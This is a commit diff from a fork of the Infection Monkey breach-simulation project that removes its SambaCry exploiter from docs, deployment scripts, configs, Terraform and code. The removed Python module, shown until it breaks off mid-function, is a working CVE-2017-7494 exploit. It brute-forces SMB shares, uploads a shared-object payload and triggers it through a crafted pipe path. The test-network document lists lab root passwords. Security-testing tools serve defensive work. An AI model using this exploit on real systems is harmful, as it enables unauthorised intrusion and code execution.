forked from p15670423/monkey
Merge pull request #1574 from guardicore/1567-sambacry-removal
1567 sambacry removal
This commit is contained in:
commit
81fb015e6b
|
@ -13,6 +13,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/).
|
|||
### Removed
|
||||
- The VSFTPD exploiter. #1533
|
||||
- Manual agent run command for CMD. #1570
|
||||
- Sambacry exploiter #1567
|
||||
- "Kill file" option in the config. #1536
|
||||
|
||||
### Fixed
|
||||
|
|
|
@ -48,7 +48,6 @@ The Infection Monkey uses the following techniques and exploits to propagate to
|
|||
* WMI
|
||||
* Shellshock
|
||||
* Conficker
|
||||
* SambaCry
|
||||
* Elastic Search (CVE-2015-1427)
|
||||
* Weblogic server
|
||||
* and more, see our [Documentation hub](https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/) for more information about our RCE exploiters.
|
||||
|
|
|
@ -37,8 +37,5 @@ export WINDOWS_32_BINARY_URL="https://github.com/guardicore/monkey/releases/down
|
|||
export WINDOWS_64_BINARY_NAME="monkey-windows-64.exe"
|
||||
export WINDOWS_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/monkey-windows-64.exe"
|
||||
|
||||
export SAMBACRY_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/sc_monkey_runner64.so"
|
||||
export SAMBACRY_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/sc_monkey_runner32.so"
|
||||
|
||||
# Swimm
|
||||
export SWIMM_URL=https://github.com/swimmio/SwimmReleases/releases/download/v0.4.4-0/Swimm_0.4.4-0_Setup.deb
|
||||
|
|
|
@ -20,16 +20,11 @@ $WINDOWS_32_BINARY_URL = $MONKEY_DOWNLOAD_URL + "monkey-windows-32.exe"
|
|||
$WINDOWS_32_BINARY_PATH = "monkey-windows-32.exe"
|
||||
$WINDOWS_64_BINARY_URL = $MONKEY_DOWNLOAD_URL + "monkey-windows-64.exe"
|
||||
$WINDOWS_64_BINARY_PATH = "monkey-windows-64.exe"
|
||||
$SAMBA_32_BINARY_URL = $MONKEY_DOWNLOAD_URL + "sc_monkey_runner32.so"
|
||||
$SAMBA_32_BINARY_NAME = "sc_monkey_runner32.so"
|
||||
$SAMBA_64_BINARY_URL = $MONKEY_DOWNLOAD_URL + "sc_monkey_runner64.so"
|
||||
$SAMBA_64_BINARY_NAME = "sc_monkey_runner64.so"
|
||||
|
||||
# Other directories and paths ( most likely you dont need to configure)
|
||||
$MONKEY_ISLAND_DIR = Join-Path "\monkey" -ChildPath "monkey_island"
|
||||
$MONKEY_DIR = Join-Path "\monkey" -ChildPath "infection_monkey"
|
||||
$SCOUTSUITE_DIR = Join-Path "\monkey" "common" "cloud" "scoutsuite"
|
||||
$SAMBA_BINARIES_DIR = Join-Path -Path $MONKEY_DIR -ChildPath "\bin"
|
||||
$TEMP_PYTHON_INSTALLER = ".\python.exe"
|
||||
$TEMP_MONGODB_ZIP = ".\mongodb.zip"
|
||||
$TEMP_OPEN_SSL_ZIP = ".\openssl.zip"
|
||||
|
|
|
@ -217,17 +217,6 @@ popd || handle_error
|
|||
# Making dir for binaries
|
||||
mkdir "${MONKEY_BIN_DIR}"
|
||||
|
||||
# Download sambacry binaries
|
||||
log_message "Downloading sambacry binaries"
|
||||
# shellcheck disable=SC2086
|
||||
if exists wget; then
|
||||
wget -c -N -P "${MONKEY_BIN_DIR}" ${SAMBACRY_64_BINARY_URL}
|
||||
wget -c -N -P "${MONKEY_BIN_DIR}" ${SAMBACRY_32_BINARY_URL}
|
||||
else
|
||||
curl -o ${MONKEY_BIN_DIR}/sc_monkey_runner64.so ${SAMBACRY_64_BINARY_URL}
|
||||
curl -o ${MONKEY_BIN_DIR}/sc_monkey_runner32.so ${SAMBACRY_32_BINARY_URL}
|
||||
fi
|
||||
|
||||
# Download Swimm
|
||||
log_message "Downloading swimm"
|
||||
if exists wget; then
|
||||
|
|
|
@ -263,21 +263,6 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName,
|
|||
Remove-Item $TEMP_UPX_ZIP
|
||||
}
|
||||
|
||||
# Download sambacry binaries
|
||||
$samba_path = Join-Path -Path $monkey_home -ChildPath $SAMBA_BINARIES_DIR
|
||||
$samba32_path = Join-Path -Path $samba_path -ChildPath $SAMBA_32_BINARY_NAME
|
||||
if (!(Test-Path -Path $samba32_path))
|
||||
{
|
||||
"Downloading sambacry 32 binary"
|
||||
$webClient.DownloadFile($SAMBA_32_BINARY_URL, $samba32_path)
|
||||
}
|
||||
$samba64_path = Join-Path -Path $samba_path -ChildPath $SAMBA_64_BINARY_NAME
|
||||
if (!(Test-Path -Path $samba64_path))
|
||||
{
|
||||
"Downloading sambacry 64 binary"
|
||||
$webClient.DownloadFile($SAMBA_64_BINARY_URL, $samba64_path)
|
||||
}
|
||||
|
||||
# Get Swimm
|
||||
"Downloading Swimm..."
|
||||
$swimm_filename = Join-Path -Path $HOME -ChildPath "swimm.exe"
|
||||
|
|
|
@ -1,9 +0,0 @@
|
|||
---
|
||||
title: "Sambacry"
|
||||
date: 2020-07-14T08:42:02+03:00
|
||||
draft: false
|
||||
tags: ["exploit", "linux"]
|
||||
---
|
||||
### Description
|
||||
|
||||
This exploit brute forces machines and searches for anonymous shares. It is partially based on [the following implementation](https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py) by CORE Security Technologies' impacket.
|
|
@ -17,7 +17,6 @@ class Performance(ConfigTemplate):
|
|||
"WmiExploiter",
|
||||
"SSHExploiter",
|
||||
"ShellShockExploiter",
|
||||
"SambaCryExploiter",
|
||||
"ElasticGroovyExploiter",
|
||||
"Struts2Exploiter",
|
||||
"WebLogicExploiter",
|
||||
|
|
|
@ -11,8 +11,6 @@ This document describes Infection Monkey’s test network, how to deploy and use
|
|||
[Nr. 3 Hadoop](#_Toc526517183)<br>
|
||||
[Nr. 4 Elastic](#_Toc526517184)<br>
|
||||
[Nr. 5 Elastic](#_Toc526517185)<br>
|
||||
[Nr. 6 Sambacry](#_Toc536021459)<br>
|
||||
[Nr. 7 Sambacry](#_Toc536021460)<br>
|
||||
[Nr. 8 Shellshock](#_Toc536021461)<br>
|
||||
[Nr. 9 Tunneling M1](#_Toc536021462)<br>
|
||||
[Nr. 10 Tunneling M2](#_Toc536021463)<br>
|
||||
|
@ -322,86 +320,6 @@ Update all requirements using deployment script:<br>
|
|||
</tbody>
|
||||
</table>
|
||||
|
||||
<table>
|
||||
<thead>
|
||||
<tr class="header">
|
||||
<th><p><span id="_Toc536021459" class="anchor"></span>Nr. <strong>6</strong> Sambacry</p>
|
||||
<p>(10.2.2.6)</p></th>
|
||||
<th>(Not implemented)</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr class="odd">
|
||||
<td>OS:</td>
|
||||
<td><strong>Ubuntu 16.04.05 x64</strong></td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Software:</td>
|
||||
<td>Samba > 3.5.0 and < 4.6.4, 4.5.10 and 4.4.14</td>
|
||||
</tr>
|
||||
<tr class="odd">
|
||||
<td>Default server’s port:</td>
|
||||
<td>-</td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Root password:</td>
|
||||
<td>;^TK`9XN_x^</td>
|
||||
</tr>
|
||||
<tr class="odd">
|
||||
<td>Server’s config:</td>
|
||||
<td></td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Scan results:</td>
|
||||
<td>Machine exploited using Sambacry exploiter</td>
|
||||
</tr>
|
||||
<tr class="odd">
|
||||
<td>Notes:</td>
|
||||
<td></td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<table>
|
||||
<thead>
|
||||
<tr class="header">
|
||||
<th><p><span id="_Toc536021460" class="anchor"></span>Nr. <strong>7</strong> Sambacry</p>
|
||||
<p>(10.2.2.7)</p></th>
|
||||
<th>(Not implemented)</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr class="odd">
|
||||
<td>OS:</td>
|
||||
<td><strong>Ubuntu 16.04.05 x32</strong></td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Software:</td>
|
||||
<td>Samba > 3.5.0 and < 4.6.4, 4.5.10 and 4.4.14</td>
|
||||
</tr>
|
||||
<tr class="odd">
|
||||
<td>Default server’s port:</td>
|
||||
<td>-</td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Root password:</td>
|
||||
<td>*.&A7/W}Rc$</td>
|
||||
</tr>
|
||||
<tr class="odd">
|
||||
<td>Server’s config:</td>
|
||||
<td></td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Scan results:</td>
|
||||
<td>Machine exploited using Sambacry exploiter</td>
|
||||
</tr>
|
||||
<tr class="odd">
|
||||
<td>Notes:</td>
|
||||
<td></td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<table>
|
||||
<thead>
|
||||
<tr class="header">
|
||||
|
|
|
@ -16,11 +16,6 @@ data "google_compute_image" "elastic-5" {
|
|||
project = local.monkeyzoo_project
|
||||
}
|
||||
|
||||
/*
|
||||
data "google_compute_image" "sambacry-6" {
|
||||
name = "sambacry-6"
|
||||
}
|
||||
*/
|
||||
data "google_compute_image" "shellshock-8" {
|
||||
name = "shellshock-8"
|
||||
project = local.monkeyzoo_project
|
||||
|
|
|
@ -106,39 +106,6 @@ resource "google_compute_instance_from_template" "elastic-5" {
|
|||
}
|
||||
}
|
||||
|
||||
/* Couldn't find ubuntu packages for required samba version (too old).
|
||||
resource "google_compute_instance_from_template" "sambacry-6" {
|
||||
name = "${local.resource_prefix}sambacry-6"
|
||||
source_instance_template = "${local.default_ubuntu}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = "${data.google_compute_image.sambacry-6.self_link}"
|
||||
}
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.2.6"
|
||||
}
|
||||
}
|
||||
*/
|
||||
|
||||
/* We need custom 32 bit Ubuntu machine for this (there are no 32 bit ubuntu machines in GCP).
|
||||
resource "google_compute_instance_from_template" "sambacry-7" {
|
||||
name = "${local.resource_prefix}sambacry-7"
|
||||
source_instance_template = "${local.default_ubuntu}"
|
||||
boot_disk {
|
||||
initialize_params {
|
||||
// Add custom image to cloud
|
||||
image = "ubuntu32"
|
||||
}
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.2.7"
|
||||
}
|
||||
}
|
||||
*/
|
||||
|
||||
resource "google_compute_instance_from_template" "shellshock-8" {
|
||||
name = "${local.resource_prefix}shellshock-8"
|
||||
source_instance_template = local.default_ubuntu
|
||||
|
|
|
@ -242,22 +242,6 @@ class Configuration(object):
|
|||
smb_download_timeout = 300 # timeout in seconds
|
||||
smb_service_name = "InfectionMonkey"
|
||||
|
||||
# Timeout (in seconds) for sambacry's trigger to yield results.
|
||||
sambacry_trigger_timeout = 5
|
||||
# Folder paths to guess share lies inside.
|
||||
sambacry_folder_paths_to_guess = [
|
||||
"/",
|
||||
"/mnt",
|
||||
"/tmp",
|
||||
"/storage",
|
||||
"/export",
|
||||
"/share",
|
||||
"/shares",
|
||||
"/home",
|
||||
]
|
||||
# Shares to not check if they're writable.
|
||||
sambacry_shares_not_to_check = ["IPC$", "print$"]
|
||||
|
||||
###########################
|
||||
# post breach actions
|
||||
###########################
|
||||
|
|
|
@ -33,7 +33,6 @@
|
|||
"WmiExploiter",
|
||||
"ShellShockExploiter",
|
||||
"ElasticGroovyExploiter",
|
||||
"SambaCryExploiter",
|
||||
"Struts2Exploiter",
|
||||
"WebLogicExploiter",
|
||||
"HadoopExploiter",
|
||||
|
@ -67,9 +66,6 @@
|
|||
"exploit_lm_hash_list": [],
|
||||
"exploit_ntlm_hash_list": [],
|
||||
"exploit_ssh_keys": [],
|
||||
"sambacry_trigger_timeout": 5,
|
||||
"sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"],
|
||||
"sambacry_shares_not_to_check": ["IPC$", "print$"],
|
||||
"local_network_scan": false,
|
||||
"tcp_scan_get_banner": true,
|
||||
"tcp_scan_interval": 0,
|
||||
|
|
|
@ -1,548 +0,0 @@
|
|||
import itertools
|
||||
import logging
|
||||
import posixpath
|
||||
import re
|
||||
import time
|
||||
from io import BytesIO
|
||||
|
||||
import impacket.smbconnection
|
||||
from impacket.nmb import NetBIOSError
|
||||
from impacket.nt_errors import STATUS_SUCCESS
|
||||
from impacket.smb import (
|
||||
FILE_DIRECTORY_FILE,
|
||||
FILE_NON_DIRECTORY_FILE,
|
||||
FILE_OPEN,
|
||||
FILE_READ_DATA,
|
||||
FILE_SHARE_READ,
|
||||
FILE_WRITE_DATA,
|
||||
SMB,
|
||||
SMB_DIALECT,
|
||||
SessionError,
|
||||
SMBCommand,
|
||||
SMBNtCreateAndX_Data,
|
||||
SMBNtCreateAndX_Parameters,
|
||||
)
|
||||
from impacket.smb3structs import (
|
||||
SMB2_CREATE,
|
||||
SMB2_FLAGS_DFS_OPERATIONS,
|
||||
SMB2_IL_IMPERSONATION,
|
||||
SMB2_OPLOCK_LEVEL_NONE,
|
||||
SMB2Create,
|
||||
SMB2Create_Response,
|
||||
SMB2Packet,
|
||||
)
|
||||
from impacket.smbconnection import SMBConnection
|
||||
|
||||
import infection_monkey.monkeyfs as monkeyfs
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey_by_os
|
||||
from infection_monkey.model import DROPPER_ARG
|
||||
from infection_monkey.network.smbfinger import SMB_SERVICE
|
||||
from infection_monkey.network.tools import get_interface_to_target
|
||||
from infection_monkey.pyinstaller_utils import get_binary_file_path
|
||||
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
||||
from infection_monkey.utils.commands import build_monkey_commandline
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class SambaCryExploiter(HostExploiter):
|
||||
"""
|
||||
SambaCry exploit module, partially based on the following implementation by CORE Security
|
||||
Technologies' impacket:
|
||||
https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py
|
||||
"""
|
||||
|
||||
_TARGET_OS_TYPE = ["linux"]
|
||||
_EXPLOITED_SERVICE = "Samba"
|
||||
# Name of file which contains the monkey's commandline
|
||||
SAMBACRY_COMMANDLINE_FILENAME = "monkey_commandline.txt"
|
||||
# Name of file which contains the runner's result
|
||||
SAMBACRY_RUNNER_RESULT_FILENAME = "monkey_runner_result"
|
||||
# SambaCry runner filename (32 bit)
|
||||
SAMBACRY_RUNNER_FILENAME_32 = "sc_monkey_runner32.so"
|
||||
# SambaCry runner filename (64 bit)
|
||||
SAMBACRY_RUNNER_FILENAME_64 = "sc_monkey_runner64.so"
|
||||
# Monkey filename on share (32 bit)
|
||||
SAMBACRY_MONKEY_FILENAME_32 = "monkey32"
|
||||
# Monkey filename on share (64 bit)
|
||||
SAMBACRY_MONKEY_FILENAME_64 = "monkey64"
|
||||
# Supported samba port
|
||||
SAMBA_PORT = 445
|
||||
|
||||
def __init__(self, host):
|
||||
super(SambaCryExploiter, self).__init__(host)
|
||||
|
||||
def _exploit_host(self):
|
||||
if not self.is_vulnerable():
|
||||
return False
|
||||
|
||||
writable_shares_creds_dict = self.get_writable_shares_creds_dict(self.host.ip_addr)
|
||||
logger.info(
|
||||
"Writable shares and their credentials on host %s: %s"
|
||||
% (self.host.ip_addr, str(writable_shares_creds_dict))
|
||||
)
|
||||
|
||||
self.exploit_info["shares"] = {}
|
||||
for share in writable_shares_creds_dict:
|
||||
self.exploit_info["shares"][share] = {"creds": writable_shares_creds_dict[share]}
|
||||
self.try_exploit_share(share, writable_shares_creds_dict[share])
|
||||
|
||||
# Wait for samba server to load .so, execute code and create result file.
|
||||
time.sleep(self._config.sambacry_trigger_timeout)
|
||||
|
||||
successfully_triggered_shares = []
|
||||
|
||||
for share in writable_shares_creds_dict:
|
||||
trigger_result = self.get_trigger_result(
|
||||
self.host.ip_addr, share, writable_shares_creds_dict[share]
|
||||
)
|
||||
creds = writable_shares_creds_dict[share]
|
||||
self.report_login_attempt(
|
||||
trigger_result is not None,
|
||||
creds["username"],
|
||||
creds["password"],
|
||||
creds["lm_hash"],
|
||||
creds["ntlm_hash"],
|
||||
)
|
||||
if trigger_result is not None:
|
||||
successfully_triggered_shares.append((share, trigger_result))
|
||||
url = "smb://%(username)s@%(host)s:%(port)s/%(share_name)s" % {
|
||||
"username": creds["username"],
|
||||
"host": self.host.ip_addr,
|
||||
"port": self.SAMBA_PORT,
|
||||
"share_name": share,
|
||||
}
|
||||
self.add_vuln_url(url)
|
||||
self.clean_share(self.host.ip_addr, share, writable_shares_creds_dict[share])
|
||||
|
||||
for share, fullpath in successfully_triggered_shares:
|
||||
self.exploit_info["shares"][share]["fullpath"] = fullpath
|
||||
|
||||
if len(successfully_triggered_shares) > 0:
|
||||
logger.info(
|
||||
"Shares triggered successfully on host %s: %s"
|
||||
% (self.host.ip_addr, str(successfully_triggered_shares))
|
||||
)
|
||||
self.add_vuln_port(self.SAMBA_PORT)
|
||||
return True
|
||||
else:
|
||||
logger.info("No shares triggered successfully on host %s" % self.host.ip_addr)
|
||||
return False
|
||||
|
||||
def try_exploit_share(self, share, creds):
|
||||
"""
|
||||
Tries exploiting share
|
||||
:param share: share name
|
||||
:param creds: credentials to use with share
|
||||
"""
|
||||
try:
|
||||
smb_client = self.connect_to_server(self.host.ip_addr, creds)
|
||||
self.upload_module(smb_client, share)
|
||||
self.trigger_module(smb_client, share)
|
||||
except (impacket.smbconnection.SessionError, SessionError):
|
||||
logger.debug(
|
||||
"Exception trying to exploit host: %s, share: %s, with creds: %s."
|
||||
% (self.host.ip_addr, share, str(creds))
|
||||
)
|
||||
|
||||
def clean_share(self, ip, share, creds):
|
||||
"""
|
||||
Cleans remote share of any remaining files created by monkey
|
||||
:param ip: IP of victim
|
||||
:param share: share name
|
||||
:param creds: credentials to use with share.
|
||||
"""
|
||||
smb_client = self.connect_to_server(ip, creds)
|
||||
tree_id = smb_client.connectTree(share)
|
||||
file_list = [
|
||||
self.SAMBACRY_COMMANDLINE_FILENAME,
|
||||
self.SAMBACRY_RUNNER_RESULT_FILENAME,
|
||||
self.SAMBACRY_RUNNER_FILENAME_32,
|
||||
self.SAMBACRY_RUNNER_FILENAME_64,
|
||||
self.SAMBACRY_MONKEY_FILENAME_32,
|
||||
self.SAMBACRY_MONKEY_FILENAME_64,
|
||||
]
|
||||
|
||||
for filename in file_list:
|
||||
try:
|
||||
smb_client.deleteFile(share, "\\%s" % filename)
|
||||
except (impacket.smbconnection.SessionError, SessionError):
|
||||
# Ignore exception to try and delete as much as possible
|
||||
pass
|
||||
smb_client.disconnectTree(tree_id)
|
||||
|
||||
def get_trigger_result(self, ip, share, creds):
|
||||
"""
|
||||
Checks if the trigger yielded any result and returns it.
|
||||
:param ip: IP of victim
|
||||
:param share: share name
|
||||
:param creds: credentials to use with share.
|
||||
:return: result of trigger if there was one. None otherwise
|
||||
"""
|
||||
smb_client = self.connect_to_server(ip, creds)
|
||||
tree_id = smb_client.connectTree(share)
|
||||
file_content = None
|
||||
try:
|
||||
file_id = smb_client.openFile(
|
||||
tree_id, "\\%s" % self.SAMBACRY_RUNNER_RESULT_FILENAME, desiredAccess=FILE_READ_DATA
|
||||
)
|
||||
file_content = smb_client.readFile(tree_id, file_id)
|
||||
smb_client.closeFile(tree_id, file_id)
|
||||
except (impacket.smbconnection.SessionError, SessionError):
|
||||
pass
|
||||
|
||||
smb_client.disconnectTree(tree_id)
|
||||
return file_content
|
||||
|
||||
def get_writable_shares_creds_dict(self, ip):
|
||||
"""
|
||||
Gets dictionary of writable shares and their credentials
|
||||
:param ip: IP address of the victim
|
||||
:return: Dictionary of writable shares and their corresponding credentials.
|
||||
"""
|
||||
writable_shares_creds_dict = {}
|
||||
credentials_list = self.get_credentials_list()
|
||||
|
||||
logger.debug("SambaCry credential list: %s" % str(credentials_list))
|
||||
|
||||
for credentials in credentials_list:
|
||||
try:
|
||||
smb_client = self.connect_to_server(ip, credentials)
|
||||
shares = self.list_shares(smb_client)
|
||||
|
||||
# don't try shares we can already write to.
|
||||
for share in [x for x in shares if x not in writable_shares_creds_dict]:
|
||||
if self.is_share_writable(smb_client, share):
|
||||
writable_shares_creds_dict[share] = credentials
|
||||
|
||||
except (impacket.smbconnection.SessionError, SessionError, NetBIOSError):
|
||||
# If failed using some credentials, try others.
|
||||
pass
|
||||
|
||||
return writable_shares_creds_dict
|
||||
|
||||
def get_credentials_list(self):
|
||||
creds = self._config.get_exploit_user_password_or_hash_product()
|
||||
|
||||
creds = [
|
||||
{"username": user, "password": password, "lm_hash": lm_hash, "ntlm_hash": ntlm_hash}
|
||||
for user, password, lm_hash, ntlm_hash in creds
|
||||
]
|
||||
|
||||
# Add empty credentials for anonymous shares.
|
||||
creds.insert(0, {"username": "", "password": "", "lm_hash": "", "ntlm_hash": ""})
|
||||
|
||||
return creds
|
||||
|
||||
def list_shares(self, smb_client):
|
||||
shares = [x["shi1_netname"][:-1] for x in smb_client.listShares()]
|
||||
return [x for x in shares if x not in self._config.sambacry_shares_not_to_check]
|
||||
|
||||
def is_vulnerable(self):
|
||||
"""
|
||||
Checks whether the victim runs a possibly vulnerable version of samba
|
||||
:return: True if victim is vulnerable, False otherwise
|
||||
"""
|
||||
if SMB_SERVICE not in self.host.services:
|
||||
logger.info("Host: %s doesn't have SMB open" % self.host.ip_addr)
|
||||
return False
|
||||
|
||||
pattern = re.compile(r"\d*\.\d*\.\d*")
|
||||
smb_server_name = self.host.services[SMB_SERVICE].get("name")
|
||||
if not smb_server_name:
|
||||
logger.info("Host: %s refused SMB connection" % self.host.ip_addr)
|
||||
return False
|
||||
samba_version = "unknown"
|
||||
pattern_result = pattern.search(smb_server_name)
|
||||
is_vulnerable = False
|
||||
if pattern_result is not None:
|
||||
samba_version = smb_server_name[pattern_result.start() : pattern_result.end()]
|
||||
samba_version_parts = samba_version.split(".")
|
||||
if (samba_version_parts[0] == "3") and (samba_version_parts[1] >= "5"):
|
||||
is_vulnerable = True
|
||||
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] <= "3"):
|
||||
is_vulnerable = True
|
||||
elif (
|
||||
(samba_version_parts[0] == "4")
|
||||
and (samba_version_parts[1] == "4")
|
||||
and (samba_version_parts[1] <= "13")
|
||||
):
|
||||
is_vulnerable = True
|
||||
elif (
|
||||
(samba_version_parts[0] == "4")
|
||||
and (samba_version_parts[1] == "5")
|
||||
and (samba_version_parts[1] <= "9")
|
||||
):
|
||||
is_vulnerable = True
|
||||
elif (
|
||||
(samba_version_parts[0] == "4")
|
||||
and (samba_version_parts[1] == "6")
|
||||
and (samba_version_parts[1] <= "3")
|
||||
):
|
||||
is_vulnerable = True
|
||||
else:
|
||||
# If pattern doesn't match we can't tell what version it is. Better try
|
||||
is_vulnerable = True
|
||||
|
||||
logger.info(
|
||||
"Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s"
|
||||
% (self.host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable))
|
||||
)
|
||||
|
||||
return is_vulnerable
|
||||
|
||||
def upload_module(self, smb_client, share):
|
||||
"""
|
||||
Uploads the module and all relevant files to server
|
||||
:param smb_client: smb client object
|
||||
:param share: share name
|
||||
"""
|
||||
tree_id = smb_client.connectTree(share)
|
||||
|
||||
with self.get_monkey_commandline_file(
|
||||
self._config.dropper_target_path_linux
|
||||
) as monkey_commandline_file:
|
||||
smb_client.putFile(
|
||||
share, "\\%s" % self.SAMBACRY_COMMANDLINE_FILENAME, monkey_commandline_file.read
|
||||
)
|
||||
|
||||
with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file:
|
||||
smb_client.putFile(
|
||||
share, "\\%s" % self.SAMBACRY_RUNNER_FILENAME_32, monkey_runner_bin_file.read
|
||||
)
|
||||
|
||||
with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file:
|
||||
smb_client.putFile(
|
||||
share, "\\%s" % self.SAMBACRY_RUNNER_FILENAME_64, monkey_runner_bin_file.read
|
||||
)
|
||||
|
||||
monkey_bin_32_src_path = get_target_monkey_by_os(False, True)
|
||||
monkey_bin_64_src_path = get_target_monkey_by_os(False, False)
|
||||
|
||||
with monkeyfs.open(monkey_bin_32_src_path, "rb") as monkey_bin_file:
|
||||
smb_client.putFile(
|
||||
share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_32, monkey_bin_file.read
|
||||
)
|
||||
|
||||
with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file:
|
||||
smb_client.putFile(
|
||||
share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_64, monkey_bin_file.read
|
||||
)
|
||||
T1105Telem(
|
||||
ScanStatus.USED,
|
||||
get_interface_to_target(self.host.ip_addr),
|
||||
self.host.ip_addr,
|
||||
monkey_bin_64_src_path,
|
||||
).send()
|
||||
smb_client.disconnectTree(tree_id)
|
||||
|
||||
def trigger_module(self, smb_client, share):
|
||||
"""
|
||||
Tries triggering module
|
||||
:param smb_client: smb client object
|
||||
:param share: share name
|
||||
:return: True if might triggered successfully, False otherwise.
|
||||
"""
|
||||
trigger_might_succeeded = False
|
||||
module_possible_paths = self.generate_module_possible_paths(share)
|
||||
for module_path in module_possible_paths:
|
||||
trigger_might_succeeded |= self.trigger_module_by_path(smb_client, module_path)
|
||||
|
||||
return trigger_might_succeeded
|
||||
|
||||
def trigger_module_by_path(self, smb_client, module_path):
|
||||
"""
|
||||
Tries triggering module by path
|
||||
:param smb_client: smb client object
|
||||
:param module_path: full path of the module. e.g. "/home/user/share/sc_module.so"
|
||||
:return: True if might triggered successfully, False otherwise.
|
||||
"""
|
||||
|
||||
try:
|
||||
# the extra / on the beginning is required for the vulnerability
|
||||
self.open_pipe(smb_client, "/" + module_path)
|
||||
except Exception as e:
|
||||
# This is the expected result. We can't tell whether we succeeded or not just by this
|
||||
# error code.
|
||||
if str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") >= 0:
|
||||
return True
|
||||
else:
|
||||
pass
|
||||
|
||||
return False
|
||||
|
||||
def generate_module_possible_paths(self, share_name):
|
||||
"""
|
||||
Generates array of possible paths
|
||||
:param share_name: Name of the share
|
||||
:return: Array of possible full paths to the module.
|
||||
"""
|
||||
sambacry_folder_paths_to_guess = self._config.sambacry_folder_paths_to_guess
|
||||
file_names = [self.SAMBACRY_RUNNER_FILENAME_32, self.SAMBACRY_RUNNER_FILENAME_64]
|
||||
return [
|
||||
posixpath.join(*x)
|
||||
for x in itertools.product(sambacry_folder_paths_to_guess, [share_name], file_names)
|
||||
]
|
||||
|
||||
def get_monkey_runner_bin_file(self, is_32bit):
|
||||
if is_32bit:
|
||||
return open(get_binary_file_path(self.SAMBACRY_RUNNER_FILENAME_32), "rb")
|
||||
else:
|
||||
return open(get_binary_file_path(self.SAMBACRY_RUNNER_FILENAME_64), "rb")
|
||||
|
||||
def get_monkey_commandline_file(self, location):
|
||||
return BytesIO(
|
||||
DROPPER_ARG
|
||||
+ build_monkey_commandline(
|
||||
self.host, get_monkey_depth() - 1, SambaCryExploiter.SAMBA_PORT, str(location)
|
||||
)
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def is_share_writable(smb_client, share):
|
||||
"""
|
||||
Checks whether the share is writable
|
||||
:param smb_client: smb client object
|
||||
:param share: share name
|
||||
:return: True if share is writable, False otherwise.
|
||||
"""
|
||||
logger.debug("Checking %s for write access" % share)
|
||||
try:
|
||||
tree_id = smb_client.connectTree(share)
|
||||
except (impacket.smbconnection.SessionError, SessionError):
|
||||
return False
|
||||
|
||||
try:
|
||||
smb_client.openFile(tree_id, "\\", FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE)
|
||||
writable = True
|
||||
except (impacket.smbconnection.SessionError, SessionError):
|
||||
writable = False
|
||||
pass
|
||||
|
||||
smb_client.disconnectTree(tree_id)
|
||||
|
||||
return writable
|
||||
|
||||
@staticmethod
|
||||
def connect_to_server(ip, credentials):
|
||||
"""
|
||||
Connects to server using given credentials
|
||||
:param ip: IP of server
|
||||
:param credentials: credentials to log in with
|
||||
:return: SMBConnection object representing the connection
|
||||
"""
|
||||
smb_client = SMBConnection(ip, ip)
|
||||
smb_client.login(
|
||||
credentials["username"],
|
||||
credentials["password"],
|
||||
"",
|
||||
credentials["lm_hash"],
|
||||
credentials["ntlm_hash"],
|
||||
)
|
||||
return smb_client
|
||||
|
||||
# Following are slightly modified SMB functions from impacket to fit our needs of the
|
||||
# vulnerability #
|
||||
@staticmethod
|
||||
def create_smb(
|
||||
smb_client,
|
||||
treeId,
|
||||
fileName,
|
||||
desiredAccess,
|
||||
shareMode,
|
||||
creationOptions,
|
||||
creationDisposition,
|
||||
fileAttributes,
|
||||
impersonationLevel=SMB2_IL_IMPERSONATION,
|
||||
oplockLevel=SMB2_OPLOCK_LEVEL_NONE,
|
||||
createContexts=None,
|
||||
):
|
||||
|
||||
packet = smb_client.getSMBServer().SMB_PACKET()
|
||||
packet["Command"] = SMB2_CREATE
|
||||
packet["TreeID"] = treeId
|
||||
if smb_client._SMBConnection._Session["TreeConnectTable"][treeId]["IsDfsShare"] is True:
|
||||
packet["Flags"] = SMB2_FLAGS_DFS_OPERATIONS
|
||||
|
||||
smb2Create = SMB2Create()
|
||||
smb2Create["SecurityFlags"] = 0
|
||||
smb2Create["RequestedOplockLevel"] = oplockLevel
|
||||
